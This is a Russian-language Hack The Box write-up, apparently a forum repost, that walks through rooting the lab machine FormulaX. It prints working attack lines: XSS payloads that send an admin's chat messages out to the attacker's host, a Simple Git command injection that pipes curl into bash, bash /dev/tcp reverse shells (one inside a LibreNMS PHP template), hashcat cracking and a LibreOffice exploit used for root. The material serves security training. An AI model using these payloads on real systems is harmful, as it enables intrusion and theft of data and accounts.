stihl не предоставил(а) никакой дополнительной информации.
Сегодня мы с тобой проэксплуатируем XSS в чат‑боте, чтобы получить переписку другого пользователя. Затем получим доступ в систему через RCE-уязвимость в утилите Simple Git и скомпрометируем LibreNMS для продвижения к другим пользователям. Для повышения привилегий используем уязвимость в LibreOffice.
Наша цель — получение прав суперпользователя на машине FormulaX с учебной площадки Hack The Box. Уровень задания — сложный.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел всего два открытых порта:
Форма авторизации
Главная страница сайта
Набираем help, чтобы посмотреть справку, и видим только одну доступную команду — history, которая отображает историю сообщений.
Чат с ботом
Построенная в Burp карта сайта содержит несколько интересных файлов JavaScript. Среди них — chat.js, который как раз и дает возможность общаться с ботом.
Содержимое файла chat.js
Куда интереснее его поведение при вводе команды history. Скрипт пробежится по сообщениям пользователя на странице и вставит их заново в код страницы.
Содержимое файла chat.js
Такое поведение очень опасно, так как мы можем отправить в сообщении произвольный код и внедрить его на страницу командой history.
Запустим локальный веб‑сервер:
А теперь отправим боту базовую нагрузку XSS:
И выполним команду history.
Чат с ботом
Логи веб‑сервера
На веб‑сервер пришел запрос, а значит, у нас есть XSS. Осталось заставить бота исполнять код. Возможно, в этом поможет форма связи с администратором.
Страница Contact to Admin
Логи веб‑сервера
На поиски следующего шага для продвижения я потратил около часа. Попытки украсть куки и других сессионных данных ни к чему не привели, однако есть еще одно место, где можно найти информацию, — переписка администратора с ботом.
При написании нагрузки воспользуемся скриптом chat.js. За основу возьмем действия при обработке команды history, но вместо добавления сообщений на страницу будем кодировать их в Base64 и отправлять на свой веб‑сервер.
Скрипт будем загружать удаленно со своего веб‑сервера. Для добавления скрипта с удаленного сервера воспользуемся методом body.appendChild. Но кроме своего кода, также добавим и необходимый socket.io.js. Таким образом, администратору сайта необходимо отправить следующую нагрузку.
Логи веб‑сервера
Осталось декодировать эксфильтрованные сообщения, и находим новый ресурс — dev-git-auto-update.chatbot.htb.
Декодированные сообщения
Обновляем запись в файле /etc/hosts и идем смотреть новый сервис.
Главная страница dev-git-auto-update.chatbot.htb
Поиск эксплоитов в Google
Для просмотра ссылки Войдиили Зарегистрируйся ведет к PoC для уязвимости CVE-2022-24066. Встреченная нами версия уязвима к удаленному исполнению кода (RCE), а эксплуатация происходит путем внедрения команды.
Описание уязвимости
Снова запустим веб‑сервер:
И проверим наличие уязвимости, обратившись к своему серверу через curl. Для этого отправим нагрузку в предложенную форму.
или Зарегистрируйся
Логи веб‑сервера
Запрос пришел на сервер, а значит, уязвимость есть и мы можем выполнить реверс‑шелл, который подключится к нашему листенеру.
Запускаем листенер:
Теперь выполняем реверс‑шелл:
Ничего не получилось, поэтому сохраним шелл в файл r.sh, а на удаленном сервере запросим его через curl и выполним в Bash.
Сессия пользователя www-data
Я буду использовать для этого скрипты PEASS.
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе скрипта много всего, отберем только то, что поможет нам в продвижении.
Среди открытых на хосте портов отмечаем порт 3000, за который отвечает веб‑сервер Nginx.
Список прослушиваемых портов
Помимо root, еще три пользователя имеют доступ к консоли.
Пользователи с консолью
Также в системе работает СУБД MongoDB.
Содержимое файлов MongoDB
На порте 3000 работает служба LibreNMS, о чем свидетельствует файл с настройками:
Содержимое файла librenms.conf
Среди переменных окружения есть учетные данные MongoDB.
Переменные окружения
Так как у нас есть учетка от базы данных, подключимся к Mongo и просмотрим существующие базы.
Список баз данных
MongoDB использует в базах не таблицы, а коллекции. Давай получим коллекции в базе testing.
Коллекции в базе testing
Нас определенно интересуют данные в коллекции users. Возможно, там найдем и какие‑нибудь пароли.
Данные из коллекции users
В базе есть хеш пароля пользователя frank_dorky, у которого есть доступ к командной оболочке. Это хеш bcrypt (режим hashcat за номером 3200), для его перебора в обычных условиях может потребоваться много времени. Но пароль оказался простой, и на перебор по словарю rockyou.txt ушло меньше минуты.
Результат перебора хеша
Получаем пароль, с которым можно авторизоваться по SSH и получить учетку первого полноценного пользователя.
Флаг пользователя
Теперь весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.
Форма авторизации LibreNMS
Первым делом я отправился искать эксплоиты для LibreNMS, но ничего интересного не нашел. Зато узнал, что через шаблоны можно получить RCE, но для этого сперва нужно авторизоваться. Погуглив про авторизацию LibreNMS, находим Для просмотра ссылки Войдиили Зарегистрируйся, где говорится, как создать своего пользователя.
Для просмотра ссылки Войдиили Зарегистрируйся
При попытке проверить наличие скрипта adduser.php обнаружим, что у нас нет возможности смотреть файлы в каталоге /opt/librenms.
Проверка каталога /opt/librenms
Получить список файлов мы не можем, но выполнить файл удается.
Создание пользователя
Пользователь создан, и теперь мы можем авторизоваться в системе.
Главная страница LibreNMS
Теперь перейдем к идее с шаблонами. Так как в системе есть пользователь LibreNMS с активной командной оболочкой, RCE даст нам полноценную сессию. Сначала проверим конфигурации.
Меню LibreNMS
И получаем ошибку: адрес 127.0.0.1 не соответствует имени librenms.com.
Ошибка LibreNMS
В файле /etc/hosts создадим соответствующую запись и повторим проверку конфига.
Ошибок нет, теперь переходим в меню Alerts → Alert Templates.
Меню Alerts
Страница Templates
Создаем новый шаблон, который с помощью функции system выполнит реверс‑шелл:
Код шаблона
Запускаем новый листенер, сохраняем шаблон и получаем новую сессию.
Сессия пользователя LibreNMS
Содержимое каталога librenms
Смотрим каждый файл и останавливаемся на .custom.env. Учетные данные для подключения к базе данных, вероятно, подходят для пользователя kai_relay, у которого есть шелл в системе.
Содержимое файла .custom.env
Подключаемся по SSH и получаем сессию kai_relay.
Сессия пользователя
Настройки sudoers
Набираем sudo -l и видим запись, которая гласит, что можно выполнить скрипт /usr/bin/office.sh от имени root без ввода пароля. Скрипт запускает приложение soffice.
Содержимое файла office.sh
Первым делом стоит проверить техники GTFOBins и готовые эксплоиты.
или Зарегистрируйся — это подборка способов злоупотреблять возможностями популярных программ для Unix. Используя собранные здесь рецепты, можно быстро получить доступ к командным оболочкам, повысить привилегии или передать файлы при помощи легитимных приложений.
Поиск эксплоитов
С помощью Google удалось найти Для просмотра ссылки Войдиили Зарегистрируйся для версии 6.1.2, который приводит к выполнению кода в рамках запущенного приложения LibreOffice ServiceManager.
Описание эксплоита
В исходном коде эксплоита изменим запускаемое приложение calc.exe на реверс‑шелл для Linux:
Запускаем soffice, после чего на удаленной машине загружаем и выполняем эксплоит.
В листенере на локальной машине мгновенно получаем сессию от имени root.
Флаг рута
Машина захвачена!
Наша цель — получение прав суперпользователя на машине FormulaX с учебной площадки Hack The Box. Уровень задания — сложный.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.6 formulax.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Сканер нашел всего два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.

Точка входа
На сайте можно зарегистрироваться. Так как залогиненному пользователю доступно больше функций, значит, будет больше и область тестирования. Регистрируемся и авторизуемся. На главной странице видим приглашение початиться с ботом.
Набираем help, чтобы посмотреть справку, и видим только одну доступную команду — history, которая отображает историю сообщений.

Построенная в Burp карта сайта содержит несколько интересных файлов JavaScript. Среди них — chat.js, который как раз и дает возможность общаться с ботом.

Куда интереснее его поведение при вводе команды history. Скрипт пробежится по сообщениям пользователя на странице и вставит их заново в код страницы.

Такое поведение очень опасно, так как мы можем отправить в сообщении произвольный код и внедрить его на страницу командой history.
Запустим локальный веб‑сервер:
python3 -m http.server 80
А теперь отправим боту базовую нагрузку XSS:
<img src="[URL]http://10.10.16.143[/URL]"/>
И выполним команду history.


Логи веб‑сервера
На веб‑сервер пришел запрос, а значит, у нас есть XSS. Осталось заставить бота исполнять код. Возможно, в этом поможет форма связи с администратором.

XSS
Если есть одна XSS, возможно, найдется и другая. Отправим нагрузку администратору — и почти сразу получим запрос на свой веб‑сервер.<img src="[URL]http://10.10.16.143/test_xss[/URL]"/>

Логи веб‑сервера
На поиски следующего шага для продвижения я потратил около часа. Попытки украсть куки и других сессионных данных ни к чему не привели, однако есть еще одно место, где можно найти информацию, — переписка администратора с ботом.
При написании нагрузки воспользуемся скриптом chat.js. За основу возьмем действия при обработке команды history, но вместо добавления сообщений на страницу будем кодировать их в Base64 и отправлять на свой веб‑сервер.
Код:
let value2;
const res2 = axios.get(/user/api/chat);
const socket2 = io('/',{withCredentials: true});
socket2.on('message', (my_message) => {
fetch("http://10.10.16.143/?data=" + btoa(my_message) );
})
const typing_chat2 = () => {
value2 = 'history';
if (value2) {
socket2.emit('client_message', value2)
Show_messages_on_screen_of_Client(value2);
document.getElementById('user_message').value2 = ""
}
else {
alert("Cannot send Empty Messages");
}
}
typing_chat2()
Скрипт будем загружать удаленно со своего веб‑сервера. Для добавления скрипта с удаленного сервера воспользуемся методом body.appendChild. Но кроме своего кода, также добавим и необходимый socket.io.js. Таким образом, администратору сайта необходимо отправить следующую нагрузку.
Код:
<img src=x onerror="body.appendChild(createElement('script')).src='/socket.io/socket.io.js'"></img>"
<img src=x onerror="body.appendChild(createElement('script')).src='http://10.10.16.143/r.js'"></img>"

Осталось декодировать эксфильтрованные сообщения, и находим новый ресурс — dev-git-auto-update.chatbot.htb.

Обновляем запись в файле /etc/hosts и идем смотреть новый сервис.
10.10.11.6 formulax.htb dev-git-auto-update.chatbot.htb

Точка опоры
Внизу страницы видим, что используется Simple Git v3.14. Первым делом стоит проверить, есть ли для этой версии готовые эксплоиты. Сначала ищем в Google.
Для просмотра ссылки Войди

Снова запустим веб‑сервер:
python3 -m http.server 80
И проверим наличие уязвимости, обратившись к своему серверу через curl. Для этого отправим нагрузку в предложенную форму.
ext::sh -c curl%
Для просмотра ссылки Войди 
Запрос пришел на сервер, а значит, уязвимость есть и мы можем выполнить реверс‑шелл, который подключится к нашему листенеру.
Запускаем листенер:
pwncat-cs -lp 4321
Теперь выполняем реверс‑шелл:
/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1
Ничего не получилось, поэтому сохраним шелл в файл r.sh, а на удаленном сервере запросим его через curl и выполним в Bash.
ext::sh -c curl% [URL]http://10.10.16.143/r.sh|bash[/URL] >&2

Продвижение
Пользователь frank_dorky
Теперь нам необходимо собрать информацию.Я буду использовать для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе скрипта много всего, отберем только то, что поможет нам в продвижении.
Среди открытых на хосте портов отмечаем порт 3000, за который отвечает веб‑сервер Nginx.

Помимо root, еще три пользователя имеют доступ к консоли.

Также в системе работает СУБД MongoDB.

На порте 3000 работает служба LibreNMS, о чем свидетельствует файл с настройками:
/etc/nginx/conf.d/librenms.conf

Среди переменных окружения есть учетные данные MongoDB.

Так как у нас есть учетка от базы данных, подключимся к Mongo и просмотрим существующие базы.
Код:
mongo
show dbs

MongoDB использует в базах не таблицы, а коллекции. Давай получим коллекции в базе testing.
Код:
use testing
show collections

Нас определенно интересуют данные в коллекции users. Возможно, там найдем и какие‑нибудь пароли.
db.users.find()

В базе есть хеш пароля пользователя frank_dorky, у которого есть доступ к командной оболочке. Это хеш bcrypt (режим hashcat за номером 3200), для его перебора в обычных условиях может потребоваться много времени. Но пароль оказался простой, и на перебор по словарю rockyou.txt ушло меньше минуты.
hashcat -m 3200 hash.txt rockyou.txt

Получаем пароль, с которым можно авторизоваться по SSH и получить учетку первого полноценного пользователя.

Пользователь LibreNMS
На порте 3000 работает LibreNMS, но сервис доступен только для локального хоста. Чтобы получить доступ к службе, нам необходимо туннелировать трафик c помощью SSH.ssh [EMAIL]frank_dorky@10.10.11.6[/EMAIL] -L 3000:127.0.0.1:3000
Теперь весь трафик, который мы пошлем на локальный порт 3000, будет туннелирован на порт 3000 указанного хоста (в данном случае 127.0.0.1) через SSH-хост.

Первым делом я отправился искать эксплоиты для LibreNMS, но ничего интересного не нашел. Зато узнал, что через шаблоны можно получить RCE, но для этого сперва нужно авторизоваться. Погуглив про авторизацию LibreNMS, находим Для просмотра ссылки Войди
Для просмотра ссылки Войди
При попытке проверить наличие скрипта adduser.php обнаружим, что у нас нет возможности смотреть файлы в каталоге /opt/librenms.

Получить список файлов мы не можем, но выполнить файл удается.
./adduser.php ralf ralf1234 10

Пользователь создан, и теперь мы можем авторизоваться в системе.

Теперь перейдем к идее с шаблонами. Так как в системе есть пользователь LibreNMS с активной командной оболочкой, RCE даст нам полноценную сессию. Сначала проверим конфигурации.

И получаем ошибку: адрес 127.0.0.1 не соответствует имени librenms.com.

В файле /etc/hosts создадим соответствующую запись и повторим проверку конфига.
127.0.0.1 librenms.com
Ошибок нет, теперь переходим в меню Alerts → Alert Templates.


Создаем новый шаблон, который с помощью функции system выполнит реверс‑шелл:
Код:
@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1'");
@endphp

Запускаем новый листенер, сохраняем шаблон и получаем новую сессию.

Пользователь kai_relay
Осматриваемся в каталоге проекта и находим много файлов .env, которые обычно содержат учетные данные.
Смотрим каждый файл и останавливаемся на .custom.env. Учетные данные для подключения к базе данных, вероятно, подходят для пользователя kai_relay, у которого есть шелл в системе.

Подключаемся по SSH и получаем сессию kai_relay.

Локальное повышение привилегий
Разведку на хосте уже проводили, а значит, в поисках привилегий нужно проверить не так много. Одно из мест, где часто можно найти возможность для продвижения, — это настройки sudoers.Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Набираем sudo -l и видим запись, которая гласит, что можно выполнить скрипт /usr/bin/office.sh от имени root без ввода пароля. Скрипт запускает приложение soffice.

Первым делом стоит проверить техники GTFOBins и готовые эксплоиты.
Справка: GTFOBins
Для просмотра ссылки Войди
С помощью Google удалось найти Для просмотра ссылки Войди

В исходном коде эксплоита изменим запускаемое приложение calc.exe на реверс‑шелл для Linux:
/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1
Запускаем soffice, после чего на удаленной машине загружаем и выполняем эксплоит.
Код:
sudo /usr/bin/office.sh
python3 exploit.py --host localhost --port 2002
В листенере на локальной машине мгновенно получаем сессию от имени root.

Машина захвачена!